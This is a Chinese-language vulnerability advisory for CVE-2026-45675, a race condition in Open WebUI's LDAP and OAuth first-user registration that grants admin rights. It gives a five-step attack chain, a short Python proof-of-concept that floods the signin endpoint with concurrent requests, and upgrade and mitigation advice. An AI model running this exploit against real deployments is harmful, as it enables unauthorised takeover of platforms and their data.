IPBUF安全漏洞报告
English
CVE-2026-45675 CVSS 8.1 高危

CVE-2026-45675 Open WebUI权限提升漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-45675
漏洞类型
权限提升
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

权限提升TOCTOU竞态条件Open WebUILDAPOAuth

漏洞概述

Open WebUI在0.9.0版本之前的LDAP和OAuth认证流程中存在TOCTOU竞态条件漏洞。攻击者可利用该漏洞通过并发请求绕过初始管理员分配检查,从而非法获取系统管理员权限。

技术细节

该漏洞源于Open WebUI在处理首个用户注册时的逻辑缺陷。虽然常规注册路径已修补TOCTOU问题,但LDAP和OAuth认证路径仍存在此类漏洞。具体而言,代码在检查用户是否存在与分配管理员角色之间存在时间窗口。攻击者通过在此窗口内发送高度并发的认证请求,可使多个请求均通过“无用户”检查,导致系统将多个后续注册的账户均赋予管理员权限,从而完全控制平台。

攻击链分析

STEP 1
1. 信息收集
攻击者确认目标使用Open WebUI且版本低于0.9.0,并开启了LDAP或OAuth认证。
STEP 2
2. 发起并发攻击
攻击者编写脚本,同时发送多个LDAP或OAuth登录/注册请求。
STEP 3
3. 竞态触发
多个请求在系统检查“是否存在用户”与“写入管理员角色”的时间窗口内竞态执行。
STEP 4
4. 权限提升
由于竞态条件,系统错误地将攻击者的账户(甚至多个账户)分配为初始管理员。
STEP 5
5. 系统控制
攻击者登录获取管理员权限,接管整个AI平台,控制数据和模型。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import threading # Target URL (Example) url = "http://target-open-webui.com/api/v1/auths/signin/ldap" payload = { "username": "attacker", "password": "password123" } def make_request(): try: response = requests.post(url, json=payload) print(f"Status: {response.status_code}, Response: {response.text}") except Exception as e: print(e) # Simulate Race Condition threads = [] for i in range(10): t = threading.Thread(target=make_request) threads.append(t) t.start() for t in threads: t.join()

影响范围

Open WebUI < 0.9.0

防御指南

临时缓解措施
建议立即升级至0.9.0或更高版本。若无法立即升级,应禁用LDAP和OAuth注册功能,仅允许管理员手动创建用户账户,防止利用竞态条件提权。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表